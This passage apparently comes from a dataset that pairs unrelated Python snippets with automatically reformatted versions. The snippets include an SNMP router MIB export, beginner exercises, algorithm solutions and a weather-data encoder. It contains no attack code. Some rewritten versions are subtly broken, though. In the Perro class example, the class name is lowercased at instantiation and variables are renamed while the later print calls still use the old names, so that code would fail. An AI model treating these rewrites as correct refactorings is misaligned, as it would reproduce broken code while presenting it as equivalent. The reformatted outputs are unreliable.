nwIpOspfCtrInPkts=nwIpOspfCtrInPkts, nwIpHostCtlOperStatus=nwIpHostCtlOperStatus, nwIpAclTable=nwIpAclTable, nwIpAddrIfBcastAddr=nwIpAddrIfBcastAddr, nwIpFwdIfMtu=nwIpFwdIfMtu, nwIpOspfIfCtrReset=nwIpOspfIfCtrReset, nwIpFwdIfIndex=nwIpFwdIfIndex, nwIpEventFltrProtocol=nwIpEventFltrProtocol, nwIpFwdIfCtrFwdBytes=nwIpFwdIfCtrFwdBytes, nwIpRipIfOperationalTime=nwIpRipIfOperationalTime, nwIpOspfIfCtrFilteredBytes=nwIpOspfIfCtrFilteredBytes, nwIpRedirectEntry=nwIpRedirectEntry, nwIpAccessControl=nwIpAccessControl, nwIpOspfAdminReset=nwIpOspfAdminReset, nwIpOspfCtrReset=nwIpOspfCtrReset, nwIpHostCtlProtocol=nwIpHostCtlProtocol, nwIpOspfIfOperStatus=nwIpOspfIfOperStatus, nwIpWgDefEntry=nwIpWgDefEntry, nwIpWgIfEntry=nwIpWgIfEntry, nwIpHostsTimeToLive=nwIpHostsTimeToLive, nwIpOspfIfEntry=nwIpOspfIfEntry, nwIpOspfIfCtrInBytes=nwIpOspfIfCtrInBytes, nwIpRipCtrFilteredPkts=nwIpRipCtrFilteredPkts, nwIpOspfCtrOutBytes=nwIpOspfCtrOutBytes, nwIpRipCtrDiscardPkts=nwIpRipCtrDiscardPkts, nwIpEndSystems=nwIpEndSystems, nwIpFwdIfCounters=nwIpFwdIfCounters, nwIpEventFltrAction=nwIpEventFltrAction, nwIpEvent=nwIpEvent, nwIpOspfIfCounters=nwIpOspfIfCounters, nwIpHostMapTable=nwIpHostMapTable, nwIpRipIfCtrOutBytes=nwIpRipIfCtrOutBytes, nwIpEventLogConfig=nwIpEventLogConfig, nwIpFwdIfCtrReset=nwIpFwdIfCtrReset, nwIpWgHostHostAddr=nwIpWgHostHostAddr, nwIpHostMapPortNumber=nwIpHostMapPortNumber, nwIpFwdCtrAddrErrPkts=nwIpFwdCtrAddrErrPkts, nwIpOspfIfCtrOutPkts=nwIpOspfIfCtrOutPkts, nwIpFwdIfCtrHdrErrPkts=nwIpFwdIfCtrHdrErrPkts, nwIpHostCtlProxy=nwIpHostCtlProxy, nwIpRipCtrDiscardBytes=nwIpRipCtrDiscardBytes, nwIpRipIfCtrReset=nwIpRipIfCtrReset, nwIpFwdIfCtrHostOutPkts=nwIpFwdIfCtrHostOutPkts, nwIpFwdIfOperationalTime=nwIpFwdIfOperationalTime, nwIpFwdCtrOperationalTime=nwIpFwdCtrOperationalTime, nwIpFibSystem=nwIpFibSystem, nwIpRipCtrFilteredBytes=nwIpRipCtrFilteredBytes, nwIpOspfIfIndex=nwIpOspfIfIndex, nwIpOspfStaticMetric=nwIpOspfStaticMetric, nwIpClientServices=nwIpClientServices, nwIpMibs=nwIpMibs, nwIpRipCtrAdminStatus=nwIpRipCtrAdminStatus, nwIpRipIfPriority=nwIpRipIfPriority, nwIpHostCtlTable=nwIpHostCtlTable, nwIpHostCtlCacheMax=nwIpHostCtlCacheMax, nwIpFwdCtrAdminStatus=nwIpFwdCtrAdminStatus, nwIpFwdIfFrameType=nwIpFwdIfFrameType, nwIpOspfCtrFilteredBytes=nwIpOspfCtrFilteredBytes, nwIpOspfStaticStatus=nwIpOspfStaticStatus, nwIpRedirectAddress=nwIpRedirectAddress, nwIpAclMatches=nwIpAclMatches, nwIpOspfIfCtrFilteredPkts=nwIpOspfIfCtrFilteredPkts, nwIpOspfDatabase=nwIpOspfDatabase, nwIpRipIfPoisonReverse=nwIpRipIfPoisonReverse, nwIpRipIfAdminStatus=nwIpRipIfAdminStatus, nwIpFwdIfCtrFilteredBytes=nwIpFwdIfCtrFilteredBytes, nwIpRipIfAclIdentifier=nwIpRipIfAclIdentifier, nwIpAddressTable=nwIpAddressTable, nwIpTopology=nwIpTopology, nwIpRipAdminReset=nwIpRipAdminReset, nwIpRipIfCtrFilteredPkts=nwIpRipIfCtrFilteredPkts, nwIpSysOperStatus=nwIpSysOperStatus, nwIpFwdIfTable=nwIpFwdIfTable, nwIpWgDefHostAddress=nwIpWgDefHostAddress, nwIpFwdIfForwarding=nwIpFwdIfForwarding, nwIpOspfIfCtrIfIndex=nwIpOspfIfCtrIfIndex, nwIpOspfIfCtrDiscardPkts=nwIpOspfIfCtrDiscardPkts, nwIpOspfIfOperationalTime=nwIpOspfIfOperationalTime, nwIpHostMapEntry=nwIpHostMapEntry, nwIpRipIfCtrIfIndex=nwIpRipIfCtrIfIndex, nwIpEventTable=nwIpEventTable, nwIpAclSequence=nwIpAclSequence, nwIpFwdIfCacheEntries=nwIpFwdIfCacheEntries, nwIpRipIfTable=nwIpRipIfTable, nwIpOspfStackSize=nwIpOspfStackSize, nwIpAclSrcMask=nwIpAclSrcMask, nwIpRipIfSnooping=nwIpRipIfSnooping, nwIpRipCounters=nwIpRipCounters, nwIpOspfIfCtrEntry=nwIpOspfIfCtrEntry, nwIpRipIfCtrEntry=nwIpRipIfCtrEntry, nwIpFwdCtrDiscardPkts=nwIpFwdCtrDiscardPkts, nwIpFwdIfCtrIfIndex=nwIpFwdIfCtrIfIndex, nwIpWgIfNumActiveHosts=nwIpWgIfNumActiveHosts, nwIpFwdInterfaces=nwIpFwdInterfaces, nwIpFwdIfControl=nwIpFwdIfControl, nwIpEventLogFilterTable=nwIpEventLogFilterTable, nwIpRipIfSplitHorizon=nwIpRipIfSplitHorizon, nwIpEventFltrType=nwIpEventFltrType, nwIpRipRtSrcNode=nwIpRipRtSrcNode, nwIpWgIfTable=nwIpWgIfTable, nwIpHostMapIpAddr=nwIpHostMapIpAddr, nwIpRipOperStatus=nwIpRipOperStatus, nwIpFwdCtrInBytes=nwIpFwdCtrInBytes, nwIpAclIdentifier=nwIpAclIdentifier, nwIpFwdIfAclIdentifier=nwIpFwdIfAclIdentifier, nwIpHostsRetryCount=nwIpHostsRetryCount, nwIpHostsSystem=nwIpHostsSystem, nwIpOspfInterfaces=nwIpOspfInterfaces, nwIpOspfIfCtrOutBytes=nwIpOspfIfCtrOutBytes, nwIpOspfLeakAllStaticRoutes=nwIpOspfLeakAllStaticRoutes, nwIpFwdIfCacheControl=nwIpFwdIfCacheControl, nwIpRipRouteEntry=nwIpRipRouteEntry, nwIpOspfIfCtrInPkts=nwIpOspfIfCtrInPkts, nwIpRipIfCtrInPkts=nwIpRipIfCtrInPkts, nwIpWgIfDefIdent=nwIpWgIfDefIdent, nwIpWgRngRowStatus=nwIpWgRngRowStatus, nwIpFwdCtrInPkts=nwIpFwdCtrInPkts, nwIpRedirectTable=nwIpRedirectTable, nwIpOspfForward=nwIpOspfForward, nwIpOspfIfCtrAdminStatus=nwIpOspfIfCtrAdminStatus, nwIpSysAdminReset=nwIpSysAdminReset, nwIpRipRtIfIndex=nwIpRipRtIfIndex, nwIpFib=nwIpFib, nwIpSysVersion=nwIpSysVersion, nwIpOspfCtrDiscardPkts=nwIpOspfCtrDiscardPkts, nwIpRipDatabaseThreshold=nwIpRipDatabaseThreshold, nwIpHostMapType=nwIpHostMapType, nwIpEventIfNum=nwIpEventIfNum, nwIpRedirectCount=nwIpRedirectCount, nwIpOspfStaticForwardMask=nwIpOspfStaticForwardMask, nwIpHostCtlCacheHits=nwIpHostCtlCacheHits, nwIpEventSeverity=nwIpEventSeverity, nwIpRipIfCtrFilteredBytes=nwIpRipIfCtrFilteredBytes, nwIpRipIfCtrTable=nwIpRipIfCtrTable, nwIpAclSrcAddress=nwIpAclSrcAddress, nwIpOspfIfTable=nwIpOspfIfTable, nwIpHostMapIfIndex=nwIpHostMapIfIndex, nwIpOspfIfVersion=nwIpOspfIfVersion, nwIpHostCtlOperationalTime=nwIpHostCtlOperationalTime)
mibBuilder.exportSymbols('CTRON-IP-ROUTER-MIB', nwIpOspfStaticTable=nwIpOspfStaticTable, nwIpWgHostDefIdent=nwIpWgHostDefIdent, nwIpAddrIfControl=nwIpAddrIfControl, nwIpRipIfConfig=nwIpRipIfConfig, nwIpFwdIfCtrLenErrPkts=nwIpFwdIfCtrLenErrPkts, nwIpHostMapFraming=nwIpHostMapFraming, nwIpRipVersion=nwIpRipVersion, nwIpOspfFib=nwIpOspfFib, nwIpRipIfCtrDiscardPkts=nwIpRipIfCtrDiscardPkts, nwIpRipSystem=nwIpRipSystem, nwIpWgHostPhysAddr=nwIpWgHostPhysAddr, nwIpWgDefRowStatus=nwIpWgDefRowStatus, nwIpOspfLeakAllRipRoutes=nwIpOspfLeakAllRipRoutes, nwIpOspfCtrOperationalTime=nwIpOspfCtrOperationalTime, nwIpWgHostTable=nwIpWgHostTable, nwIpRipRtMask=nwIpRipRtMask, nwIpEventFltrSeverity=nwIpEventFltrSeverity, nwIpOspfIfConfig=nwIpOspfIfConfig, nwIpFwdIfCtrHostDiscardPkts=nwIpFwdIfCtrHostDiscardPkts, nwIpRipRtAge=nwIpRipRtAge, nwIpHostCtlCacheMisses=nwIpHostCtlCacheMisses, nwIpEventTextString=nwIpEventTextString, nwIpOspfVersion=nwIpOspfVersion, nwIpOspfStaticNextHop=nwIpOspfStaticNextHop, nwIpRipIfIndex=nwIpRipIfIndex, nwIpAclPermission=nwIpAclPermission, nwIpHostsInterfaces=nwIpHostsInterfaces, nwIpRipRtNetId=nwIpRipRtNetId, nwIpFwdIfCtrHostDiscardBytes=nwIpFwdIfCtrHostDiscardBytes, nwIpWgDefTable=nwIpWgDefTable, nwIpRipCtrInPkts=nwIpRipCtrInPkts, nwIpRipAdminStatus=nwIpRipAdminStatus, nwIpFwdIfCtrInBytes=nwIpFwdIfCtrInBytes, nwIpOspfThreadPriority=nwIpOspfThreadPriority, nwIpEventFltrControl=nwIpEventFltrControl, nwIpWgRngPhysAddr=nwIpWgRngPhysAddr, nwIpOspfIfCtrTable=nwIpOspfIfCtrTable, nwIpSysRouterId=nwIpSysRouterId, nwIpOspfRipTable=nwIpOspfRipTable, nwIpFilters=nwIpFilters, nwIpRedirector=nwIpRedirector, nwIpFwdIfEntry=nwIpFwdIfEntry, nwIpFwdIfCtrFilteredPkts=nwIpFwdIfCtrFilteredPkts, nwIpHostCtlSnooping=nwIpHostCtlSnooping, nwIpRipIfVersion=nwIpRipIfVersion, nwIpEventMaxEntries=nwIpEventMaxEntries, nwIpAddrIfAddrType=nwIpAddrIfAddrType, nwIpSysAdministration=nwIpSysAdministration, nwIpRipThreadPriority=nwIpRipThreadPriority, nwIpOspfIfType=nwIpOspfIfType, nwIpOspfIfCtrDiscardBytes=nwIpOspfIfCtrDiscardBytes, nwIpFwdSystem=nwIpFwdSystem, nwIpFwdCtrHostOutPkts=nwIpFwdCtrHostOutPkts, nwIpWgDefIdentifier=nwIpWgDefIdentifier, nwIpFwdCtrLenErrPkts=nwIpFwdCtrLenErrPkts, nwIpRipHoldDown=nwIpRipHoldDown, nwIpRipIfEntry=nwIpRipIfEntry, nwIpFwdIfOperStatus=nwIpFwdIfOperStatus, nwIpRip=nwIpRip, nwIpFwdIfCacheMisses=nwIpFwdIfCacheMisses, nwIpFwdIfCtrDiscardBytes=nwIpFwdIfCtrDiscardBytes, nwIpOspfCtrDiscardBytes=nwIpOspfCtrDiscardBytes, nwIpFwdCtrFilteredBytes=nwIpFwdCtrFilteredBytes, nwIpOspfIfAclStatus=nwIpOspfIfAclStatus, nwIpEventFilterEntry=nwIpEventFilterEntry, nwIpWgIfOperStatus=nwIpWgIfOperStatus, nwIpOspfStaticEntry=nwIpOspfStaticEntry, nwIpFwdCtrHostDiscardPkts=nwIpFwdCtrHostDiscardPkts, nwIpFwdCtrHostDiscardBytes=nwIpFwdCtrHostDiscardBytes, nwIpFwdCtrOutPkts=nwIpFwdCtrOutPkts, nwIpDistanceVector=nwIpDistanceVector, nwIpAclValidEntries=nwIpAclValidEntries, nwIpSysOperationalTime=nwIpSysOperationalTime, nwIpOspfFibEntries=nwIpOspfFibEntries, nwIpOspfConfig=nwIpOspfConfig, nwIpFwdIfCtrAdminStatus=nwIpFwdIfCtrAdminStatus, nwIpWgRngOperStatus=nwIpWgRngOperStatus, nwIpFwdIfCtrFwdPkts=nwIpFwdIfCtrFwdPkts, nwIpOspfLeakAllBgp4Routes=nwIpOspfLeakAllBgp4Routes, nwIpFwdCtrHdrErrPkts=nwIpFwdCtrHdrErrPkts, nwIpAddrIfIndex=nwIpAddrIfIndex, nwIpOspfStaticDest=nwIpOspfStaticDest, nwIpOspfDynamicTable=nwIpOspfDynamicTable, nwIpRipIfXmitCost=nwIpRipIfXmitCost, nwIpOspfCtrFilteredPkts=nwIpOspfCtrFilteredPkts, nwIpFwdIfCtrHostInPkts=nwIpFwdIfCtrHostInPkts, nwIpFwdIfCtrDiscardPkts=nwIpFwdIfCtrDiscardPkts, nwIpFwdIfCtrOutBytes=nwIpFwdIfCtrOutBytes, nwIpRipFilters=nwIpRipFilters, nwIpOspf=nwIpOspf, nwIpRipIfCtrAdminStatus=nwIpRipIfCtrAdminStatus, nwIpRipIfCtrOperationalTime=nwIpRipIfCtrOperationalTime, nwIpHostCtlNumDynamics=nwIpHostCtlNumDynamics, nwIpEventNumber=nwIpEventNumber, nwIpWgDefFastPath=nwIpWgDefFastPath, nwIpRipConfig=nwIpRipConfig, nwIpFwdCtrOutBytes=nwIpFwdCtrOutBytes, nwIpRipCtrReset=nwIpRipCtrReset, nwIpOspfStaticMetricType=nwIpOspfStaticMetricType, nwIpAddrEntry=nwIpAddrEntry, nwIpAddrIfMask=nwIpAddrIfMask) |
def factorial(n):
if n in (0, 1):
return 1
result = n
for k in range(2, n):
result *= k
return result
f5 = factorial(5) # f5 = 120
print(f5)
| def factorial(n):
if n in (0, 1):
return 1
result = n
for k in range(2, n):
result *= k
return result
f5 = factorial(5)
print(f5) |
def revisar(function):
def test():
print("Se esta ejecutando la fucnion {}".format(function.__name__))
function()
print("Se acaba de ejecutar la fucnion {}".format(function.__name__))
return test
def revisar_args(function):
def test(*args, **kwargs):
print("Se esta ejecutando la fucnion {}".format(function.__name__))
function(*args, **kwargs)
print("Se acaba de ejecutar la fucnion {}".format(function.__name__))
return test
@revisar_args
def hola(nombre):
print("Hola {}!".format(nombre))
@revisar_args
def adios(nombre):
print("Adios! {}".format(nombre))
hola("Fernando")
print("")
adios("Contreras")
| def revisar(function):
def test():
print('Se esta ejecutando la fucnion {}'.format(function.__name__))
function()
print('Se acaba de ejecutar la fucnion {}'.format(function.__name__))
return test
def revisar_args(function):
def test(*args, **kwargs):
print('Se esta ejecutando la fucnion {}'.format(function.__name__))
function(*args, **kwargs)
print('Se acaba de ejecutar la fucnion {}'.format(function.__name__))
return test
@revisar_args
def hola(nombre):
print('Hola {}!'.format(nombre))
@revisar_args
def adios(nombre):
print('Adios! {}'.format(nombre))
hola('Fernando')
print('')
adios('Contreras') |
class Events:
# SAP_ITSAMInstance/Alert
ccms_alerts = {
"SAP name": {"description": "description is optional: Alternative name for stackstate",
"field": "field is mandatory: Name of field with value"}, # example entry
"Oracle|Performance|Locks": {"field": "Value"},
"R3Services|Dialog|ResponseTimeDialog": {"field": "ActualValue"},
"R3Services|Spool": {"description": "SAP:Spool utilization",
"field": "ActualValue"},
"R3Services|Spool|SpoolService|ErrorsInWpSPO": {"description": "SAP:ErrorsInWpSPO",
"field": "ActualValue"},
"R3Services|Spool|SpoolService|ErrorFreqInWpSPO": {"description": "SAP:ErrorsFreqInWpSPO",
"field": "ActualValue"},
"Shortdumps Frequency": {"field": "ActualValue"}
}
# SAP_ITSAMInstance/Parameter
instance_events = {
"SAP name": {"description": "description is optional: Alternative name for stackstate"} # example entry
}
# SAP_ITSAMDatabaseMetric
dbmetric_events = {
"SAP name": {"description": "description is optional: Alternative name for stackstate"}, # example entry
"db.ora.tablespace.status": {"field": "Value"},
"35": {"description": "HDB:Backup_exist",
"field": "Value"},
"36": {"description": "HDB:Recent_backup",
"field": "Value"},
"38": {"description": "HDB:Recent_log_backup",
"field": "Value"},
"102": {"description": "HDB:System_backup_Exists",
"field": "Value"},
"1015": {"description": "HDB:System replication",
"field": "Value"}
}
# GetComputerSystem
system_events = {
"SAP name": {"description": "description is optional: Alternative name for stackstate"} # example entry
}
| class Events:
ccms_alerts = {'SAP name': {'description': 'description is optional: Alternative name for stackstate', 'field': 'field is mandatory: Name of field with value'}, 'Oracle|Performance|Locks': {'field': 'Value'}, 'R3Services|Dialog|ResponseTimeDialog': {'field': 'ActualValue'}, 'R3Services|Spool': {'description': 'SAP:Spool utilization', 'field': 'ActualValue'}, 'R3Services|Spool|SpoolService|ErrorsInWpSPO': {'description': 'SAP:ErrorsInWpSPO', 'field': 'ActualValue'}, 'R3Services|Spool|SpoolService|ErrorFreqInWpSPO': {'description': 'SAP:ErrorsFreqInWpSPO', 'field': 'ActualValue'}, 'Shortdumps Frequency': {'field': 'ActualValue'}}
instance_events = {'SAP name': {'description': 'description is optional: Alternative name for stackstate'}}
dbmetric_events = {'SAP name': {'description': 'description is optional: Alternative name for stackstate'}, 'db.ora.tablespace.status': {'field': 'Value'}, '35': {'description': 'HDB:Backup_exist', 'field': 'Value'}, '36': {'description': 'HDB:Recent_backup', 'field': 'Value'}, '38': {'description': 'HDB:Recent_log_backup', 'field': 'Value'}, '102': {'description': 'HDB:System_backup_Exists', 'field': 'Value'}, '1015': {'description': 'HDB:System replication', 'field': 'Value'}}
system_events = {'SAP name': {'description': 'description is optional: Alternative name for stackstate'}} |
class Solution:
def lengthOfLongestSubstring(self, s):
hashmap = {}
left, right, max_length = 0, 0, 0
while left < len(s) and right < len(s):
char = s[right]
if char in hashmap:
left = max(left, hashmap[char] + 1)
hashmap[char] = right
max_length = max(max_length, right - left + 1)
right += 1
return max_length
| class Solution:
def length_of_longest_substring(self, s):
hashmap = {}
(left, right, max_length) = (0, 0, 0)
while left < len(s) and right < len(s):
char = s[right]
if char in hashmap:
left = max(left, hashmap[char] + 1)
hashmap[char] = right
max_length = max(max_length, right - left + 1)
right += 1
return max_length |
class Book:
def __init__(self, id_book, title, author):
self.__id_book = id_book
self.__title = title
self.__author = author
def get_id_book(self):
return self.__id_book
def get_title(self):
return self.__title
def get_author(self):
return self.__author
def set_title(self, title):
self.__title = title
def set_author(self, author):
self.__author = author
def __eq__(self, other):
return self.__id_book == other.__id_book
def __str__(self) -> str:
return "Id book:{0}, Title:{1}, Author:{2}".format(self.__id_book, self.__title, self.__author)
class Client:
def __init__(self, id_client, name):
self.__id_client = id_client
self.__name = name
def get_id_client(self):
return self.__id_client
def get_name(self):
return self.__name
def set_name(self, name):
self.__name = name
def __eq__(self, other):
return self.__id_client == other.__id_client
def __str__(self) -> str:
return "ID client: {0}, Name: {1}".format(self.__id_client, self.__name)
class Rental:
def __init__(self, id_rental, id_book, id_client, rented_date, returned_date):
self.__id_rental = id_rental
self.__id_book = id_book
self.__id_client = id_client
self.__rented_date = rented_date
self.__returned_date = returned_date
def get_id_rental(self):
return self.__id_rental
def get_id_book(self):
return self.__id_book
def get_id_client(self):
return self.__id_client
def get_rented_date(self):
return self.__rented_date
def get_returned_date(self):
return self.__returned_date
def set_returned_date(self, date):
self.__returned_date = date
def __eq__(self, other):
return self.__id_rental == other.__id_rental
def __str__(self) -> str:
return "ID rent: {0}, ID book:{1}, ID client{2}, rented date:{3}, returned date:{4}".format(self.__id_rental,
self.__id_book,
self.__id_client,
self.__rented_date,
self.__returned_date)
| class Book:
def __init__(self, id_book, title, author):
self.__id_book = id_book
self.__title = title
self.__author = author
def get_id_book(self):
return self.__id_book
def get_title(self):
return self.__title
def get_author(self):
return self.__author
def set_title(self, title):
self.__title = title
def set_author(self, author):
self.__author = author
def __eq__(self, other):
return self.__id_book == other.__id_book
def __str__(self) -> str:
return 'Id book:{0}, Title:{1}, Author:{2}'.format(self.__id_book, self.__title, self.__author)
class Client:
def __init__(self, id_client, name):
self.__id_client = id_client
self.__name = name
def get_id_client(self):
return self.__id_client
def get_name(self):
return self.__name
def set_name(self, name):
self.__name = name
def __eq__(self, other):
return self.__id_client == other.__id_client
def __str__(self) -> str:
return 'ID client: {0}, Name: {1}'.format(self.__id_client, self.__name)
class Rental:
def __init__(self, id_rental, id_book, id_client, rented_date, returned_date):
self.__id_rental = id_rental
self.__id_book = id_book
self.__id_client = id_client
self.__rented_date = rented_date
self.__returned_date = returned_date
def get_id_rental(self):
return self.__id_rental
def get_id_book(self):
return self.__id_book
def get_id_client(self):
return self.__id_client
def get_rented_date(self):
return self.__rented_date
def get_returned_date(self):
return self.__returned_date
def set_returned_date(self, date):
self.__returned_date = date
def __eq__(self, other):
return self.__id_rental == other.__id_rental
def __str__(self) -> str:
return 'ID rent: {0}, ID book:{1}, ID client{2}, rented date:{3}, returned date:{4}'.format(self.__id_rental, self.__id_book, self.__id_client, self.__rented_date, self.__returned_date) |
name = "Eiad"
test = input("Enter your password:\n")
if name == test:
print("Welcome in\n")
else:
print("Access denied\n")
del test
| name = 'Eiad'
test = input('Enter your password:\n')
if name == test:
print('Welcome in\n')
else:
print('Access denied\n')
del test |
def get(which):
try:
with open("marvel/keys/%s" % which, "r") as key:
return key.read()
except(OSError, IOError):
return None
| def get(which):
try:
with open('marvel/keys/%s' % which, 'r') as key:
return key.read()
except (OSError, IOError):
return None |
# Acorn tree reactor | edelstein
if sm.hasQuest(23003):
sm.dropItem(4034738, sm.getPosition(objectID).getX(), sm.getPosition(objectID).getY())
sm.removeReactor()
| if sm.hasQuest(23003):
sm.dropItem(4034738, sm.getPosition(objectID).getX(), sm.getPosition(objectID).getY())
sm.removeReactor() |
class Perro:
# Atributo de Clase
genero= "Canis"
def __init__(self, nombre, edad):
self.nombre = nombre
self.edad = edad
myDog = Perro("Firulais", 5)
print(myDog.nombre)
print(myDog.edad)
print(myDog.genero)
Perro.genero = "Mamifero"
myOtherDog = Perro("Pepito", 15)
print(myOtherDog.nombre)
print(myOtherDog.edad)
print(myOtherDog.genero)
print(myDog.genero) | class Perro:
genero = 'Canis'
def __init__(self, nombre, edad):
self.nombre = nombre
self.edad = edad
my_dog = perro('Firulais', 5)
print(myDog.nombre)
print(myDog.edad)
print(myDog.genero)
Perro.genero = 'Mamifero'
my_other_dog = perro('Pepito', 15)
print(myOtherDog.nombre)
print(myOtherDog.edad)
print(myOtherDog.genero)
print(myDog.genero) |
print('*'*23)
print('* Triangle Analyzer *')
print('*'*23)
a = float(input('First straight: '))
b = float(input('Second straight: '))
c = float(input('Third straight: '))
if a + b > c and b + c > a and a + c > b:
print('The above segments MAY form a triangle!')
else:
print('The above segments CANNOT FORM a triangle!')
| print('*' * 23)
print('* Triangle Analyzer *')
print('*' * 23)
a = float(input('First straight: '))
b = float(input('Second straight: '))
c = float(input('Third straight: '))
if a + b > c and b + c > a and (a + c > b):
print('The above segments MAY form a triangle!')
else:
print('The above segments CANNOT FORM a triangle!') |
class Neighbour:
def __init__(self, *args):
self.IPaddress = None
self.portnumber = None
self.lastComm = None
self.isonline = False
def setIP(self, ip):
self.IPaddress = ip
def setPort(self, port):
self.portnumber = port
def setLastTalk(self, timestamp):
lastComm = timestamp
def checkOnline(self):
#TODO: try to ping, or connect to the ip:port and update status
return None | class Neighbour:
def __init__(self, *args):
self.IPaddress = None
self.portnumber = None
self.lastComm = None
self.isonline = False
def set_ip(self, ip):
self.IPaddress = ip
def set_port(self, port):
self.portnumber = port
def set_last_talk(self, timestamp):
last_comm = timestamp
def check_online(self):
return None |
__all__ = [
'DataAgent',
'DataUtility',
'DataAgentBuilder',
'UniversalDataCenter',
]
| __all__ = ['DataAgent', 'DataUtility', 'DataAgentBuilder', 'UniversalDataCenter'] |
x = {"apple", "banana", "cherry"}
y = {"google", "microsoft", "apple"}
x.symmetric_difference_update(y)
print(x)
| x = {'apple', 'banana', 'cherry'}
y = {'google', 'microsoft', 'apple'}
x.symmetric_difference_update(y)
print(x) |
def maxProduct(nums):
n = len(nums)
ans = nums[0]
maxy = mini = ans
for i in range(1, n):
if nums[i] < 0:
maxy, mini = mini, maxy
maxy = max(nums[i], maxy * nums[i])
mini = min(nums[i], mini * nums[i])
ans = max(ans, maxy)
return ans
if __name__ == '__main__':
ans = maxProduct([2, 3, -2, 4])
assert ans == 6, 'Wrong answer'
print(ans)
| def max_product(nums):
n = len(nums)
ans = nums[0]
maxy = mini = ans
for i in range(1, n):
if nums[i] < 0:
(maxy, mini) = (mini, maxy)
maxy = max(nums[i], maxy * nums[i])
mini = min(nums[i], mini * nums[i])
ans = max(ans, maxy)
return ans
if __name__ == '__main__':
ans = max_product([2, 3, -2, 4])
assert ans == 6, 'Wrong answer'
print(ans) |
# (c) [Muhammed] @PR0FESS0R-99
# (s) @Mo_Tech_YT , @Mo_Tech_Group, @MT_Botz
# Copyright permission under MIT License
# All rights reserved by PR0FESS0R-99
# License -> https://github.com/PR0FESS0R-99/DonLee-Robot-V2/blob/Professor-99/LICENSE
VERIFY = {}
| verify = {} |
# Space: O(n)
# Time: O(n)
class Solution:
def getSmallestString(self, n: int, k: int) -> str:
char_cache = {i + 1: chr(97 + i) for i in range(26)}
if n == 1: return char_cache[k]
res = [None for _ in range(n)]
for i in range(n - 1, -1, -1):
if k > (i + 1):
temp_res = k - i
if temp_res <= 26:
res[i] = char_cache[temp_res]
k -= temp_res
else:
res[i] = char_cache[26]
k -= 26
elif k == (i + 1):
res[i] = char_cache[1]
k -= 1
return ''.join(res)
| class Solution:
def get_smallest_string(self, n: int, k: int) -> str:
char_cache = {i + 1: chr(97 + i) for i in range(26)}
if n == 1:
return char_cache[k]
res = [None for _ in range(n)]
for i in range(n - 1, -1, -1):
if k > i + 1:
temp_res = k - i
if temp_res <= 26:
res[i] = char_cache[temp_res]
k -= temp_res
else:
res[i] = char_cache[26]
k -= 26
elif k == i + 1:
res[i] = char_cache[1]
k -= 1
return ''.join(res) |
class FileObject:
def __init__(self, name, attributes, location, data=None, memory=None, size=None, timestamp=None, owner=None):
self.name = name
self.attributes = attributes
self.loc = location
# TODO: Find size of obj/file
self.size = size if size else size
self.memory = memory
self.timestamp = timestamp
self.owner = owner
self.group = owner
if memory is True:
with open(data, 'r') as f:
self._data = f.read()
else:
self._data = data
def to_list(self):
return [self.name, self.attributes, self._data]
def to_dict(self):
return {'name': self.name, 'attribute': self.attributes, 'type': __class__, 'data': self._data}
@property
def data(self):
if self.memory is False:
with open(self._data, 'r') as f:
return f.read()
else:
return self._data
| class Fileobject:
def __init__(self, name, attributes, location, data=None, memory=None, size=None, timestamp=None, owner=None):
self.name = name
self.attributes = attributes
self.loc = location
self.size = size if size else size
self.memory = memory
self.timestamp = timestamp
self.owner = owner
self.group = owner
if memory is True:
with open(data, 'r') as f:
self._data = f.read()
else:
self._data = data
def to_list(self):
return [self.name, self.attributes, self._data]
def to_dict(self):
return {'name': self.name, 'attribute': self.attributes, 'type': __class__, 'data': self._data}
@property
def data(self):
if self.memory is False:
with open(self._data, 'r') as f:
return f.read()
else:
return self._data |
def encode(json, schema):
payload = schema.Main()
payload.coord = schema.Coord()
payload.coord.lon = json['coord']['lon']
payload.coord.lat = json['coord']['lat']
payload.weather = [schema.Weather()]
payload.weather[0].id = json['weather'][0]['id']
payload.weather[0].main = json['weather'][0]['main']
payload.weather[0].description = json['weather'][0]['description']
payload.weather[0].icon = json['weather'][0]['icon']
payload.base = json['base']
payload.main = schema.MainObject()
payload.main.temp = json['main']['temp']
payload.main.feels_like = json['main']['feels_like']
payload.main.temp_min = json['main']['temp_min']
payload.main.temp_max = json['main']['temp_max']
payload.main.pressure = json['main']['pressure']
payload.main.humidity = json['main']['humidity']
payload.visibility = json['visibility']
payload.wind = schema.Wind()
payload.wind.speed = json['wind']['speed']
payload.wind.deg = json['wind']['deg']
payload.clouds = schema.Clouds()
payload.clouds.all = json['clouds']['all']
payload.dt = json['dt']
payload.sys = schema.Sys()
payload.sys.type = json['sys']['type']
payload.sys.id = json['sys']['id']
payload.sys.message = json['sys']['message']
payload.sys.country = json['sys']['country']
payload.sys.sunrise = json['sys']['sunrise']
payload.sys.sunset = json['sys']['sunset']
payload.timezone = json['timezone']
payload.id = json['id']
payload.name = json['name']
payload.cod = json['cod']
return payload
def decode(payload):
return {
'coord': payload.coord.__dict__,
'weather': [
payload.weather[0].__dict__
],
'base': payload.base,
'main': payload.main.__dict__,
'visibility': payload.visibility,
'wind': payload.wind.__dict__,
'clouds': payload.clouds.__dict__,
'dt': payload.dt,
'sys': payload.sys.__dict__,
'timezone': payload.timezone,
'id': payload.id,
'name': payload.name,
'cod': payload.cod
}
| def encode(json, schema):
payload = schema.Main()
payload.coord = schema.Coord()
payload.coord.lon = json['coord']['lon']
payload.coord.lat = json['coord']['lat']
payload.weather = [schema.Weather()]
payload.weather[0].id = json['weather'][0]['id']
payload.weather[0].main = json['weather'][0]['main']
payload.weather[0].description = json['weather'][0]['description']
payload.weather[0].icon = json['weather'][0]['icon']
payload.base = json['base']
payload.main = schema.MainObject()
payload.main.temp = json['main']['temp']
payload.main.feels_like = json['main']['feels_like']
payload.main.temp_min = json['main']['temp_min']
payload.main.temp_max = json['main']['temp_max']
payload.main.pressure = json['main']['pressure']
payload.main.humidity = json['main']['humidity']
payload.visibility = json['visibility']
payload.wind = schema.Wind()
payload.wind.speed = json['wind']['speed']
payload.wind.deg = json['wind']['deg']
payload.clouds = schema.Clouds()
payload.clouds.all = json['clouds']['all']
payload.dt = json['dt']
payload.sys = schema.Sys()
payload.sys.type = json['sys']['type']
payload.sys.id = json['sys']['id']
payload.sys.message = json['sys']['message']
payload.sys.country = json['sys']['country']
payload.sys.sunrise = json['sys']['sunrise']
payload.sys.sunset = json['sys']['sunset']
payload.timezone = json['timezone']
payload.id = json['id']
payload.name = json['name']
payload.cod = json['cod']
return payload
def decode(payload):
